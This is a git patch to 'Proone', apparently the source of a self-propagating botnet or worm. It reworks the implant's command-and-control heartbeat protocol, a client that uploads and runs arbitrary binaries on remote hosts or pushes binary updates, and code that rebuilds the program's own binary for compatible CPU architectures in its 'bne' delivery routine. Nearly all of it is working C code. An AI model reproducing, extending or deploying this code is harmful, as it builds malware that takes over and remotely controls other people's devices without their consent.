From a0b92490365dc88d50c81780ff9ebb6ddb681e5e Mon Sep 17 00:00:00 2001
From: David Timber <mieabby@gmail.com>
Date: Wed, 21 Jul 2021 20:13:27 +1000
Subject: Impl proone-htbtclient upbin, bug fixes ...

* Add prne_start_bin_rcb_compat()
* PRNE_HTBT_OP_NY_BIN -> PRNE_HTBT_OP_UP_BIN. "nybin" is now the name of
  the file format
* htbt
  * Fix broken hover redirection (HTBT_LMK_HOVER removed)
  * HTBT_MAIN_REQ_Q_SIZE
  * Impl PRNE_HTBT_OP_NOOP response
  * Fix PRNE_HTBT_OP_SOLICIT is always sent with id 1
* proone
  * Fix bugs caused by not scrubbing the shared global memory
  * Fix exec() fail when upbin request with args
  * Removed do_recombination() as it's not efficient. Now the
    authoritive end has to do the recombination
* PRNE_HTBT_OP_RCB, PRNE_HTBT_STATUS_SUB reserved for future impl
---
 src/bne.c                 |  50 ++---
 src/data/proto/nybin_head |   8 -
 src/htbt.c                | 105 ++++++----
 src/htbt.h                |   2 +-
 src/pack.c                |  96 +++++++++
 src/pack.h                |  19 +-
 src/proone-htbtclient.c   | 520 ++++++++++++++++++++++++++++++++++++++++------
 src/proone-htbthost.c     |  40 ++--
 src/proone-test_proto.c   |  13 +-
 src/proone.c              | 177 ++++------------
 src/proone.h              |   4 +-
 src/protocol.c            |   5 +-
 src/protocol.h            |  27 +--
 13 files changed, 730 insertions(+), 336 deletions(-)
 delete mode 100644 src/data/proto/nybin_head

(limited to 'src')

diff --git a/src/bne.c b/src/bne.c
index d23a91c..ebbbfed 100644
--- a/src/bne.c
+++ b/src/bne.c
@@ -1293,7 +1293,9 @@ END: // CATCH
 }
 
 static bool bne_sh_start_rcb (prne_bne_t *ctx, bne_sh_ctx_t *sh_ctx) {
-	ctx->result.prc = prne_start_bin_rcb(
+	prne_arch_t actual;
+
+	ctx->result.prc = prne_start_bin_rcb_compat(
 		&sh_ctx->rcb,
 		ctx->result.arch,
 		ctx->param.rcb.self,
@@ -1302,36 +1304,24 @@ static bool bne_sh_start_rcb (prne_bne_t *ctx, bne_sh_ctx_t *sh_ctx) {
 		ctx->param.rcb.exec_len,
 		ctx->param.rcb.m_dv,
 		ctx->param.rcb.dv_len,
-		ctx->param.rcb.ba);
-
-	if (ctx->result.prc == PRNE_PACK_RC_NO_ARCH) {
-		// retry with compatible arch if available
-		switch (ctx->result.arch) {
-		case PRNE_ARCH_AARCH64:
-		case PRNE_ARCH_ARMV7:
-			ctx->result.arch = PRNE_ARCH_ARMV4T;
-			break;
-		case PRNE_ARCH_X86_64:
-			ctx->result.arch = PRNE_ARCH_I686;
-			break;
-		default: return false;
+		ctx->param.rcb.ba,
+		&actual);
+
+	if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) {
+		if (ctx->result.prc == PRNE_PACK_RC_OK) {
+			if (actual != ctx->result.arch) {
+				prne_dbgpf(
+					"bne sh@%"PRIxPTR"\t: using compat arch %s\n",
+					(uintptr_t)ctx,
+					prne_arch_tostr(ctx->result.arch));
+			}
 		}
-		if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) {
+		else {
 			prne_dbgpf(
-				"bne sh@%"PRIxPTR"\t: retrying bin_rcb with compat arch %s\n",
+				"bne sh@%"PRIxPTR"\t: prne_start_bin_rcb_compat() - %s\n",
 				(uintptr_t)ctx,
-				prne_arch_tostr(ctx->result.arch));
+				prne_pack_rc_tostr(ctx->result.prc));
 		}
-		ctx->result.prc = prne_start_bin_rcb(
-			&sh_ctx->rcb,
-			ctx->result.arch,
-			ctx->param.rcb.self,
-			ctx->param.rcb.m_self,
-			ctx->param.rcb.self_len,
-			ctx->param.rcb.exec_len,
-			ctx->param.rcb.m_dv,
-			ctx->param.rcb.dv_len,
-			ctx->param.rcb.ba);
 	}
 
 	return ctx->result.prc == PRNE_PACK_RC_OK;
@@ -1829,9 +1819,11 @@ static bool bne_do_vec_htbt (prne_bne_t *ctx) {
 		&ssl,
 		PRNE_HTBT_TLS_ALP);
 	if (ret) {
-/* here goes ...
+/* TODO: here goes ...
 *
-* - Check the program version and update if necessary via PRNE_HTBT_OP_NY_BIN
+* - Take an array of previous versions as param
+* - Check the program version of the remote instance and update local or remote
+*	instance if necessary using PRNE_HTBT_OP_UP_BIN or PRNE_HTBT_OP_RCB
 */
 		prne_pth_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
 		if (prne_mbedtls_pth_handle(&ssl, mbedtls_ssl_close_notify, fd, ev)) {
diff --git a/src/data/proto/nybin_head b/src/data/proto/nybin_head
deleted file mode 100644
index 79cd1b7..0000000
--- a/src/data/proto/nybin_head
+++ /dev/null
@@ -1,8 +0,0 @@
-# msg id 8A06, init
-8A06
-# PRNE_HTBT_OP_NY_BIN
-06
-	# bin_len =
-	000000
-	# detach = 0, args_len = 0
-	0000
diff --git a/src/htbt.c b/src/htbt.c
index d4bbeac..bf4f32b 100644
--- a/src/htbt.c
+++ b/src/htbt.c
@@ -20,6 +20,7 @@
 #include <mbedtls/base64.h>
 
 
+#define HTBT_MAIN_REQ_Q_SIZE	2
 // Hover Max Redirection count
 #define HTBT_HOVER_MAX_REDIR	5
 // CNCP interval: HTBT_CNCP_INT_MIN + jitter
@@ -53,8 +54,8 @@ static const struct timespec HTBT_DL_TICK_TIMEOUT = { 30, 0 }; // 30s
 
 typedef uint_fast8_t htbt_lmk_t;
 #define HTBT_LMK_NONE		0
-#define HTBT_LMK_HOVER		1
-#define HTBT_LMK_NYBIN		2
+// #define HTBT_LMK_HOVER		1
+#define HTBT_LMK_UPBIN		2
 
 typedef struct {
 	int fd[2];
@@ -192,7 +193,7 @@ static void htbt_lm_release (prne_htbt_t *ctx, const htbt_lmk_t v) {
 }
 
 static bool htbt_main_q_req_slip (prne_htbt_t *ctx, htbt_req_slip_t *in) {
-	bool alloc, ret = false;
+	bool alloc = false, ret = false;
 	htbt_req_slip_t *ny_slip = (htbt_req_slip_t*)prne_malloc(
 		sizeof(htbt_req_slip_t),
 		1);
@@ -203,12 +204,17 @@ static bool htbt_main_q_req_slip (prne_htbt_t *ctx, htbt_req_slip_t *in) {
 	htbt_init_req_slip(ny_slip);
 
 	prne_dbgtrap(pth_mutex_acquire(&ctx->main.lock, FALSE, NULL));
-	alloc =
-		prne_llist_append(
-			&ctx->main.req_q,
-			(prne_llist_element_t)ny_slip) != NULL;
-	if (alloc) {
-		prne_dbgtrap(pth_cond_notify(&ctx->main.cond, FALSE));
+	if (ctx->main.req_q.size < HTBT_MAIN_REQ_Q_SIZE) {
+		alloc =
+			prne_llist_append(
+				&ctx->main.req_q,
+				(prne_llist_element_t)ny_slip) != NULL;
+		if (alloc) {
+			prne_dbgtrap(pth_cond_notify(&ctx->main.cond, FALSE));
+		}
+	}
+	else {
+		errno = EAGAIN;
 	}
 	pth_mutex_release(&ctx->main.lock);
 	if (alloc) {
@@ -247,21 +253,12 @@ static bool htbt_main_q_hover (
 	prne_llist_entry_t *trace)
 {
 	bool ret = false;
-	htbt_lmk_t lmk = HTBT_LMK_NONE;
 	htbt_req_slip_t slip;
 	htbt_hv_req_body_t *body;
 	prne_llist_entry_t *ny_trace = NULL;
 
 	htbt_init_req_slip(&slip);
 
-	if (htbt_lm_acquire(ctx, HTBT_LMK_HOVER)) {
-		lmk = HTBT_LMK_HOVER;
-	}
-	else {
-		errno = EBUSY;
-		goto END;
-	}
-
 	slip.free_f = (prne_htbt_free_ft)htbt_free_hv_req_body;
 	slip.op = PRNE_HTBT_OP_HOVER;
 	slip.body = prne_malloc(sizeof(htbt_hv_req_body_t), 1);
@@ -299,9 +296,6 @@ END:
 		prne_llist_erase(&ctx->main.hover_req, ny_trace);
 		pth_mutex_release(&ctx->main.lock);
 	}
-	if (!ret && lmk != HTBT_LMK_NONE) {
-		htbt_lm_release(ctx, lmk);
-	}
 	htbt_free_req_slip(&slip);
 	return ret;
 }
@@ -898,12 +892,15 @@ static void htbt_slv_fab_frame (
 	size_t req, actual;
 
 	prne_assert(ev != NULL);
+	prne_assert(!((body == NULL) ^ (ser_f == NULL)));
 
 	req = 0;
 	prne_htbt_ser_msg_head(NULL, 0, &actual, mh);
 	req += actual;
-	ser_f(NULL, 0, &actual, body);
-	req += actual;
+	if (ser_f != NULL) {
+		ser_f(NULL, 0, &actual, body);
+		req += actual;
+	}
 
 	prne_assert(req <= ctx->iobuf[1].size);
 	htbt_slv_consume_outbuf(ctx, req, ev);
@@ -929,12 +926,14 @@ static void htbt_slv_fab_frame (
 		&actual,
 		mh);
 	prne_iobuf_shift(ctx->iobuf + 1, actual);
-	ser_f(
-		ctx->iobuf[1].m + ctx->iobuf[1].len,
-		ctx->iobuf[1].avail,
-		&actual,
-		body);
-	prne_iobuf_shift(ctx->iobuf + 1, actual);
+	if (ser_f != NULL) {
+		ser_f(
+			ctx->iobuf[1].m + ctx->iobuf[1].len,
+			ctx->iobuf[1].avail,
+			&actual,
+			body);
+		prne_iobuf_shift(ctx->iobuf + 1, actual);
+	}
 }
 
 static void htbt_slv_fab_status (
@@ -976,6 +975,19 @@ static void htbt_slv_fab_status (
 	pth_event_free(my_ev, FALSE);
 }
 
+static void htbt_slv_fab_noop (
+	htbt_slv_ctx_t *ctx,
+	const bool is_rsp,
+	pth_event_t ev)
+{
+	prne_htbt_msg_head_t mh;
+
+	prne_htbt_init_msg_head(&mh);
+	mh.is_rsp = is_rsp;
+	htbt_slv_fab_frame(ctx, &mh, NULL, NULL, ev);
+	prne_htbt_free_msg_head(&mh);
+}
+
 static void htbt_slv_raise_protoerr (
 	htbt_slv_ctx_t *ctx,
 	uint16_t corr_msgid,
@@ -1150,10 +1162,11 @@ static bool htbt_slv_srv_bin (
 	prne_htbt_status_code_t ret_status = PRNE_HTBT_STATUS_OK;
 	int32_t ret_errno = 0;
 	htbt_lmk_t lmk = HTBT_LMK_NONE;
+	mode_t tmpfm;
 
 	prne_dbgast(
 		mh->op == PRNE_HTBT_OP_RUN_BIN ||
-		mh->op == PRNE_HTBT_OP_NY_BIN);
+		mh->op == PRNE_HTBT_OP_UP_BIN);
 
 	prne_htbt_init_bin_meta(&bin_meta);
 
@@ -1177,15 +1190,15 @@ static bool htbt_slv_srv_bin (
 	}
 
 	if (ctx->cbset->tmpfile == NULL ||
-		(mh->op == PRNE_HTBT_OP_NY_BIN && ctx->cbset->ny_bin == NULL))
+		(mh->op == PRNE_HTBT_OP_UP_BIN && ctx->cbset->upbin == NULL))
 	{
 		ret_status = PRNE_HTBT_STATUS_UNIMPL;
 		goto SND_STATUS;
 	}
 
-	if (mh->op == PRNE_HTBT_OP_NY_BIN && ctx->lm_acquire_f != NULL) {
-		if (ctx->lm_acquire_f(ctx->ioctx, HTBT_LMK_NYBIN)) {
-			lmk = HTBT_LMK_NYBIN;
+	if (mh->op == PRNE_HTBT_OP_UP_BIN && ctx->lm_acquire_f != NULL) {
+		if (ctx->lm_acquire_f(ctx->ioctx, HTBT_LMK_UPBIN)) {
+			lmk = HTBT_LMK_UPBIN;
 		}
 		else {
 			ret_status = PRNE_HTBT_STATUS_ERRNO;
@@ -1195,10 +1208,12 @@ static bool htbt_slv_srv_bin (
 	}
 
 	errno = 0;
-	path = ctx->cbset->tmpfile(
-		ctx->cb_ctx,
-		bin_meta.bin_size,
-		mh->op == PRNE_HTBT_OP_RUN_BIN ? 0700 : 0600);
+	switch (mh->op) {
+	case PRNE_HTBT_OP_RUN_BIN:
+	case PRNE_HTBT_OP_UP_BIN: tmpfm = 0700; break;
+	default: tmpfm = 0600;
+	}
+	path = ctx->cbset->tmpfile(ctx->cb_ctx, bin_meta.bin_size, tmpfm);
 	if (path == NULL) {
 		ret_status = PRNE_HTBT_STATUS_ERRNO;
 		ret_errno = errno;
@@ -1303,7 +1318,7 @@ static bool htbt_slv_srv_bin (
 			&ret_errno);
 	}
 	else {
-		if (!ctx->cbset->ny_bin(ctx->cb_ctx, path, &bin_meta.cmd)) {
+		if (!ctx->cbset->upbin(ctx->cb_ctx, path, &bin_meta.cmd)) {
 			ret_status = PRNE_HTBT_STATUS_ERRNO;
 			ret_errno = errno;
 			goto SND_STATUS;
@@ -1455,6 +1470,7 @@ static bool htbt_slv_consume_inbuf (
 		switch (f_head.op) {
 		case PRNE_HTBT_OP_NOOP:
 			prne_iobuf_shift(ctx->iobuf + 0, -actual);
+			htbt_slv_fab_noop(ctx, true, root_ev);
 			break;
 		case PRNE_HTBT_OP_STDIO:
 			ret |= htbt_slv_srv_stdio(ctx, root_ev, actual, &f_head);
@@ -1467,7 +1483,7 @@ static bool htbt_slv_consume_inbuf (
 			ret |= htbt_slv_srv_run_cmd(ctx, root_ev, actual, &f_head);
 			break;
 		case PRNE_HTBT_OP_RUN_BIN:
-		case PRNE_HTBT_OP_NY_BIN:
+		case PRNE_HTBT_OP_UP_BIN:
 			ret |= htbt_slv_srv_bin(ctx, root_ev, actual, &f_head);
 			break;
 		case PRNE_HTBT_OP_HOVER:
@@ -1753,13 +1769,15 @@ static bool htbt_main_slv_setup_f (void *ioctx, pth_event_t ev) {
 	bool ret = true;
 	size_t actual;
 	prne_htbt_msg_head_t mh;
+	int f_ret;
 
 	prne_htbt_init_msg_head(&mh);
-	if (mbedtls_ctr_drbg_random(
+
+	f_ret = mbedtls_ctr_drbg_random(
 		ctx->parent->param.ctr_drbg,
 		(unsigned char *)&mh.id,
-		sizeof(mh.id) == 0))
-	{
+		sizeof(mh.id));
+	if (f_ret == 0) {
 		mh.id = (mh.id % PRNE_HTBT_MSG_ID_DELTA) + PRNE_HTBT_MSG_ID_MIN;
 	}
 	else {
@@ -2008,7 +2026,6 @@ static void *htbt_main_entry (void *p) {
 		switch (slip->op) {
 		case PRNE_HTBT_OP_HOVER:
 			htbt_main_srv_hover(ctx, (htbt_hv_req_body_t*)slip->body);
-			htbt_lm_release(ctx, HTBT_LMK_HOVER);
 			break;
 		default:
 			if (PRNE_DEBUG) {
diff --git a/src/htbt.h b/src/htbt.h
index 152825c..3d6a42c 100644
--- a/src/htbt.h
+++ b/src/htbt.h
@@ -25,7 +25,7 @@ struct prne_htbt_cbset {
 	prne_htbt_cnc_txtrec_ft cnc_txtrec;
 	prne_htbt_hostinfo_ft hostinfo; // optional
 	prne_htbt_tmpfile_ft tmpfile; // optional
-	prne_htbt_bin_ft ny_bin; // optional
+	prne_htbt_bin_ft upbin; // optional
 };
 
 struct prne_htbt_param {
diff --git a/src/pack.c b/src/pack.c
index 3bf9d75..156da48 100644
--- a/src/pack.c
+++ b/src/pack.c
@@ -498,6 +498,66 @@ prne_pack_rc_t prne_start_bin_rcb (
 	return PRNE_PACK_RC_OK;
 }
 
+prne_pack_rc_t prne_start_bin_rcb_compat (
+	prne_bin_rcb_ctx_t *ctx,
+	const prne_arch_t target,
+	const prne_arch_t self,
+	const uint8_t *m_self,
+	const size_t self_len,
+	const size_t exec_len,
+	const uint8_t *m_dvault,
+	const size_t dvault_len,
+	const prne_bin_archive_t *ba,
+	prne_arch_t *actual)
+{
+	prne_arch_t a = target;
+	prne_pack_rc_t ret = prne_start_bin_rcb(
+		ctx,
+		target,
+		self,
+		m_self,
+		self_len,
+		exec_len,
+		m_dvault,
+		dvault_len,
+		ba);
+	const prne_arch_t *f;
+
+	if (ret != PRNE_PACK_RC_NO_ARCH) {
+		goto END;
+	}
+	f = prne_compat_arch(target);
+	if (f == NULL) {
+		goto END;
+	}
+
+	for (; *f != PRNE_ARCH_NONE; f += 1) {
+		if (*f == target) {
+			continue;
+		}
+		a = *f;
+		ret = prne_start_bin_rcb(
+			ctx,
+			*f,
+			self,
+			m_self,
+			self_len,
+			exec_len,
+			m_dvault,
+			dvault_len,
+			ba);
+		if (ret != PRNE_PACK_RC_NO_ARCH) {
+			break;
+		}
+	}
+
+END:
+	if (actual != NULL) {
+		*actual = a;
+	}
+	return ret;
+}
+
 ssize_t prne_bin_rcb_read (
 	prne_bin_rcb_ctx_t *ctx,
 	uint8_t *buf,
@@ -529,3 +589,39 @@ bool prne_index_nybin (
 
 	return true;
 }
+
+const prne_arch_t *prne_compat_arch (const prne_arch_t target) {
+	static const prne_arch_t F_X86[] = {
+		PRNE_ARCH_X86_64,
+		PRNE_ARCH_I686,
+		PRNE_ARCH_NONE
+	};
+	static const prne_arch_t F_ARM[] = {
+		PRNE_ARCH_AARCH64,
+		PRNE_ARCH_ARMV7,
+		PRNE_ARCH_ARMV4T,
+		PRNE_ARCH_NONE
+	};
+
+	switch (target) {
+	case PRNE_ARCH_X86_64: return F_X86;
+	case PRNE_ARCH_I686: return F_X86 + 1;
+	case PRNE_ARCH_AARCH64: return F_ARM;
+	case PRNE_ARCH_ARMV7: return F_ARM + 1;
+	case PRNE_ARCH_ARMV4T: return F_ARM + 2;
+	}
+	return NULL;
+}
+
+const char *prne_pack_rc_tostr (const prne_pack_rc_t prc) {
+	switch (prc) {
+	case PRNE_PACK_RC_OK: return "ok";
+	case PRNE_PACK_RC_EOF: return "eof";
+	case PRNE_PACK_RC_INVAL: return "invalid";
+	case PRNE_PACK_RC_FMT_ERR: return "format error";
+	case PRNE_PACK_RC_ERRNO: return "errno";
+	case PRNE_PACK_RC_Z_ERR: return "zlib error";
+	case PRNE_PACK_RC_NO_ARCH: return "no arch";
+	}
+	return NULL;
+}
diff --git a/src/pack.h b/src/pack.h
index e31e07a..6a752db 100644
--- a/src/pack.h
+++ b/src/pack.h
@@ -18,7 +18,9 @@ typedef enum {
 	PRNE_PACK_RC_FMT_ERR,
 	PRNE_PACK_RC_ERRNO,
 	PRNE_PACK_RC_Z_ERR,
-	PRNE_PACK_RC_NO_ARCH
+	PRNE_PACK_RC_NO_ARCH,
+
+	NB_PRNE_PACK_RC
 } prne_pack_rc_t;
 
 struct prne_bin_tuple {
@@ -64,6 +66,17 @@ prne_pack_rc_t prne_start_bin_rcb (
 	const uint8_t *m_dvault,
 	const size_t dvault_len,
 	const prne_bin_archive_t *ba);
+prne_pack_rc_t prne_start_bin_rcb_compat (
+	prne_bin_rcb_ctx_t *ctx,
+	const prne_arch_t target,
+	const prne_arch_t self,
+	const uint8_t *m_self,
+	const size_t self_len,
+	const size_t exec_len,
+	const uint8_t *m_dvault,
+	const size_t dvault_len,
+	const prne_bin_archive_t *ba,
+	prne_arch_t *actual);
 ssize_t prne_bin_rcb_read (
 	prne_bin_rcb_ctx_t *ctx,
 	uint8_t *buf,
@@ -78,3 +91,7 @@ bool prne_index_nybin (
 	size_t *dv_len,
 	const uint8_t **m_ba,
 	size_t *ba_len);
+
+const prne_arch_t *prne_compat_arch (const prne_arch_t arch);
+
+const char *prne_pack_rc_tostr (const prne_pack_rc_t prc);
diff --git a/src/proone-htbtclient.c b/src/proone-htbtclient.c
index 53b31d6..c7328f1 100644
--- a/src/proone-htbtclient.c
+++ b/src/proone-htbtclient.c
@@ -11,6 +11,7 @@
 #include <stdarg.h>
 #include <assert.h>
 
+#include <sys/mman.h>
 #include <getopt.h>
 #include <regex.h>
 #include <termios.h>
@@ -49,8 +50,8 @@
 "  hover     send handover request\n"\
 "  runcmd    run command on host\n"\
 "  runbin    upload and run arbitrary binary on host\n"\
-"  nybin     perform binary update\n"\
-"  getbin    download Proone binary\n"\
+"  upbin     perform binary update\n"\
+"  rcb       download binary from instance\n"\
 "\n"\
 "Common options:\n"\
 "  -h, --help           print help for specified command and exit. Print this\n"\
@@ -103,11 +104,17 @@
 "Options:\n"\
 "  -d, --detach  run detached(i.e., run as daemon)\n"\
 "\n"
-#define NYBIN_HELP_STR \
+#define UPBIN_HELP_STR \
 "Perform binary update.\n"\
-"Usage: %s [common options] nybin <FILE> [arg0] [arg1 ...]\n"\
+"Usage: %s [common options] upbin [options] <FILE> [arg0] [arg1 ...]\n"\
 "\n"\
-"<FILE>: NYBIN format binary\n"\
+"Options:\n"\
+"  --nybin      do binary recombination. <FILE> must be nybin format binary\n"\
+"  --exec       upload <FILE> as is\n"\
+"  --no-compat  do not retry recombination with compatible arch\n"\
+"\n"\
+"Note that an instance will continue to run with original binary if it fails to\n"\
+"exec() to the new binary.\n"\
 "\n"
 
 enum sub_command {
@@ -116,11 +123,22 @@ enum sub_command {
 	SC_HOVER,
 	SC_RUNCMD,
 	SC_RUNBIN,
-	SC_NYBIN,
-	SC_GETBIN
+	SC_UPBIN,
+	SC_RCB,
+
+	NB_SC
 };
 typedef enum sub_command sub_command_t;
 
+enum bin_type {
+	BT_NONE,
+	BT_NYBIN,
+	BT_EXEC,
+
+	NB_BT
+};
+typedef enum bin_type bin_type_t;
+
 struct {
 	char *tls_ca;
 	char *tls_cert;
@@ -140,8 +158,10 @@ struct {
 		} hover;
 		struct {
 			char *bin_path;
+			bin_type_t bin_type;
 			prne_htbt_bin_meta_t bm;
 			bool detached;
+			bool compat;
 		} run;
 	} cmd_param;
 	void (*free_cmdparam_f)(void);
@@ -166,9 +186,12 @@ struct {
 	} yaml;
 	union {
 		struct {
+			int fd;
+			prne_arch_t arch_host;
+			prne_arch_t arch_rcb;
+			bool has_status;
 			prne_iobuf_t ib;
 			prne_htbt_status_t st;
-			bool has_status;
 		} run;
 	} cmd_st;
 	void (*free_cmdst_f)(void);
@@ -188,8 +211,8 @@ static void print_help (const char *prog, const sub_command_t sc, FILE *out_f) {
 	case SC_RUNBIN:
 		fprintf(out_f, RUNBIN_HELP_STR, prog);
 		break;
-	case SC_NYBIN:
-		fprintf(out_f, NYBIN_HELP_STR, prog);
+	case SC_UPBIN:
+		fprintf(out_f, UPBIN_HELP_STR, prog);
 		break;
 	// TODO
 	default: fprintf(out_f, MAIN_HELP_STR, prog, prog);
@@ -219,12 +242,17 @@ static void init_prog_g (void) {
 }
 
 static void free_run_g (void) {
+	prne_close(prog_g.cmd_st.run.fd);
 	prne_free_iobuf(&prog_g.cmd_st.run.ib);
 	prne_htbt_free_status(&prog_g.cmd_st.run.st);
 }
 
 static void init_run_g (void) {
 	assert(prog_g.free_cmdst_f == NULL);
+
+	prog_g.cmd_st.run.arch_host = PRNE_ARCH_NONE;
+	prog_g.cmd_st.run.arch_rcb = PRNE_ARCH_NONE;
+	prog_g.cmd_st.run.fd = -1;
 	prne_init_iobuf(&prog_g.cmd_st.run.ib);
 	prne_htbt_init_status(&prog_g.cmd_st.run.st);
 	assert(prne_alloc_iobuf(&prog_g.cmd_st.run.ib, prne_getpagesize()));
@@ -260,10 +288,12 @@ static void init_hover_conf (void) {
 
 static void free_run_conf (void) {
 	prne_htbt_free_bin_meta(&prog_conf.cmd_param.run.bm);
+	prne_free(prog_conf.cmd_param.run.bin_path);
 }
 
 static void init_run_conf (void) {
 	prne_htbt_init_bin_meta(&prog_conf.cmd_param.run.bm);
+	prog_conf.cmd_param.run.compat = true;
 	prog_conf.free_cmdparam_f = free_run_conf;
 }
 
@@ -489,13 +519,48 @@ LOOP_END:
 	return 0;
 }
 
-static int parse_args_nybin (const int argc, char *const *args) {
+static int parse_args_upbin (const int argc, char *const *args) {
+	static const struct option lopts[] = {
+		{ "nybin", no_argument, 0, 0 },
+		{ "exec", no_argument, 0, 0 },
+		{ "no-compat", no_argument, 0, 0 },
+		{ 0, 0, 0, 0 }
+	};
+	int li, f_ret;
+	const struct option *co;
+
 	if (!assert_host_arg()) {
 		return 2;
 	}
 	init_run_conf();
 	init_run_g();
 
+	while (true) {
+		f_ret = getopt_long(argc, args, "", lopts, &li);
+		if (f_ret != 0) {
+			break;
+		}
+
+		co = (const struct option*)lopts + li;
+		if (strcmp("nybin", co->name) == 0) {
+			prog_conf.cmd_param.run.bin_type = BT_NYBIN;
+		}
+		else if (strcmp("exec", co->name) == 0) {
+			prog_conf.cmd_param.run.bin_type = BT_EXEC;
+		}
+		else if (strcmp("no-compat", co->name) == 0) {
+			prog_conf.cmd_param.run.compat = false;
+		}
+		else {
+			abort();
+		}
+	}
+
+	if (prog_conf.cmd_param.run.bin_type == BT_NONE) {
+		fprintf(stderr, "Use --nybin or --exec to specify binary type.\n");
+		return 2;
+	}
+
 	if (argc <= optind) {
 		fprintf(stderr, "FILE not specified.\n");
 		return 2;
@@ -520,7 +585,7 @@ static int parse_args_nybin (const int argc, char *const *args) {
 	return 0;
 }
 
-static int parse_args_getbin (const int argc, char *const *args) {
+static int parse_args_rcb (const int argc, char *const *args) {
 	if (!assert_host_arg()) {
 		return 2;
 	}
@@ -633,11 +698,11 @@ END_LOOP:
 		else if (strcmp("runbin", cmd_str) == 0) {
 			prog_conf.cmd = SC_RUNBIN;
 		}
-		else if (strcmp("nybin", cmd_str) == 0) {
-			prog_conf.cmd = SC_NYBIN;
+		else if (strcmp("upbin", cmd_str) == 0) {
+			prog_conf.cmd = SC_UPBIN;
 		}
-		else if (strcmp("getbin", cmd_str) == 0) {
-			prog_conf.cmd = SC_GETBIN;
+		else if (strcmp("rcb", cmd_str) == 0) {
+			prog_conf.cmd = SC_RCB;
 		}
 		else {
 			fprintf(stderr, "Invalid COMMAND \"%s\".\n", cmd_str);
@@ -653,9 +718,11 @@ END_LOOP:
 	case SC_HOVER: ret = parse_args_hover(argc, args); break;
 	case SC_RUNCMD: ret = parse_args_run(argc, args, false); break;
 	case SC_RUNBIN: ret = parse_args_run(argc, args, true); break;
-	case SC_NYBIN: ret = parse_args_nybin(argc, args); break;
-	case SC_GETBIN: ret = parse_args_getbin(argc, args); break;
-	default: fprintf(stderr, "COMMAND not specified.\n");
+	case SC_UPBIN: ret = parse_args_upbin(argc, args); break;
+	case SC_RCB: ret = parse_args_rcb(argc, args); break;
+	default:
+		ret = 2;
+		fprintf(stderr, "COMMAND not specified.\n");
 	}
 
 	return ret;
@@ -817,6 +884,32 @@ static int init_tls (void) {
 	return 0;
 }
 
+static void pstatus (const prne_htbt_status_t *st, const char *s) {
+	fprintf(stderr, "%s: code=%d, err=%"PRId32"\n", s, st->code, st->err);
+}
+
+static void pprc (const prne_pack_rc_t prc, const char *s, int *err) {
+	switch (prc) {
+	case PRNE_PACK_RC_Z_ERR:
+		if (err != NULL) {
+			fprintf(stderr, "%s: %s(%d)\n", s, prne_pack_rc_tostr(prc), *err);
+			break;
+		}
+		/* fall-through */
+	case PRNE_PACK_RC_OK:
+	case PRNE_PACK_RC_EOF:
+	case PRNE_PACK_RC_INVAL:
+	case PRNE_PACK_RC_FMT_ERR:
+	case PRNE_PACK_RC_NO_ARCH:
+		fprintf(stderr, "%s: %s\n", s, prne_pack_rc_tostr(prc));
+		break;
+	case PRNE_PACK_RC_ERRNO:
+		perror(s);
+		break;
+	default: abort();
+	}
+}
+
 static int yaml_output_handler(void *data, unsigned char *buffer, size_t size) {
 	ssize_t io_ret;
 
@@ -991,6 +1084,10 @@ static void end_yaml (void) {
 static bool do_connect (void) {
 	int f_ret;
 
+	if (prog_conf.prne_vl >= PRNE_VL_DBG0) {
+		fprintf(stderr, "do_connect()\n");
+	}
+
 	f_ret = mbedtls_net_connect(
 		&prog_g.net.ctx,
 		prog_conf.remote_host,
@@ -1013,9 +1110,34 @@ static bool do_connect (void) {
 		mbedtls_net_recv,
 		mbedtls_net_recv_timeout);
 
+	f_ret = mbedtls_ssl_handshake(&prog_g.ssl.ctx);
+	if (f_ret != 0) {
+		prne_mbedtls_perror(f_ret, "mbedtls_ssl_handshake()");
+		return false;
+	}
+	if (!prne_mbedtls_verify_alp(
+			&prog_g.ssl.conf,
+			&prog_g.ssl.ctx,
+			PRNE_HTBT_TLS_ALP))
+	{
+		fprintf(stderr, "ALPN not negotiated.\n");
+		return false;
+	}
+
 	return true;
 }
 
+static void do_disconnect (void) {
+	if (prog_conf.prne_vl >= PRNE_VL_DBG0) {
+		fprintf(stderr, "do_disconnect()\n");
+	}
+	mbedtls_ssl_close_notify(&prog_g.ssl.ctx);
+	mbedtls_ssl_free(&prog_g.ssl.ctx);
+
+	mbedtls_net_free(&prog_g.net.ctx);
+	prne_iobuf_reset(&prog_g.net.ib);
+}
+
 static uint16_t htbt_msgid_rnd_f (void *ctx) {
 	int f_ret;
 	uint16_t ret;
@@ -1144,6 +1266,28 @@ static bool recv_mh (prne_htbt_msg_head_t *mh, const uint16_t *cor_id) {
 	return true;
 }
 
+static bool do_ayt (void) {
+	prne_htbt_msg_head_t mh;
+	bool ret = false;
+
+	if (prog_conf.prne_vl >= PRNE_VL_DBG0) {
+		fprintf(stderr, "do_ayt()\n");
+	}
+
+	prne_htbt_init_msg_head(&mh);
+	do {
+		if (!send_frame(&mh, (prne_htbt_ser_ft)prne_htbt_ser_msg_head) ||
+			!recv_frame(&mh, (prne_htbt_dser_ft)prne_htbt_dser_msg_head))
+		{
+			break;
+		}
+		ret = mh.op == PRNE_HTBT_OP_NOOP && mh.is_rsp;
+	} while (false);
+
+	prne_htbt_free_msg_head(&mh);
+	return ret;
+}
+
 static bool recv_status (prne_htbt_status_t *st) {
 	return recv_frame(st, (prne_htbt_dser_ft)prne_htbt_dser_status);
 }
@@ -1367,60 +1511,81 @@ static void emit_hostinfo_frame (const prne_htbt_host_info_t *hi) {
 	prne_free_host_cred(&hc);
 }
 
-static int cmdmain_hostinfo (void) {
-	int ret = 0;
-	uint16_t msgid;
+static bool do_hostinfo (
+	prne_htbt_host_info_t *hi,
+	prne_htbt_status_t *st,
+	bool *status)
+{
+	bool ret = false;
+	const uint16_t msgid = prne_htbt_gen_msgid(NULL, htbt_msgid_rnd_f);
 	prne_htbt_msg_head_t mh;
-	prne_htbt_host_info_t hi;
-	prne_htbt_status_t st;
 
-	msgid = prne_htbt_gen_msgid(NULL, htbt_msgid_rnd_f);
 	prne_htbt_init_msg_head(&mh);
-	prne_htbt_init_host_info(&hi);
-	prne_htbt_init_status(&st);
 	mh.id = msgid;
 	mh.is_rsp = false;
 	mh.op = PRNE_HTBT_OP_HOST_INFO;
 
-	if (!do_connect()) {
-		ret = 1;
-		goto END;
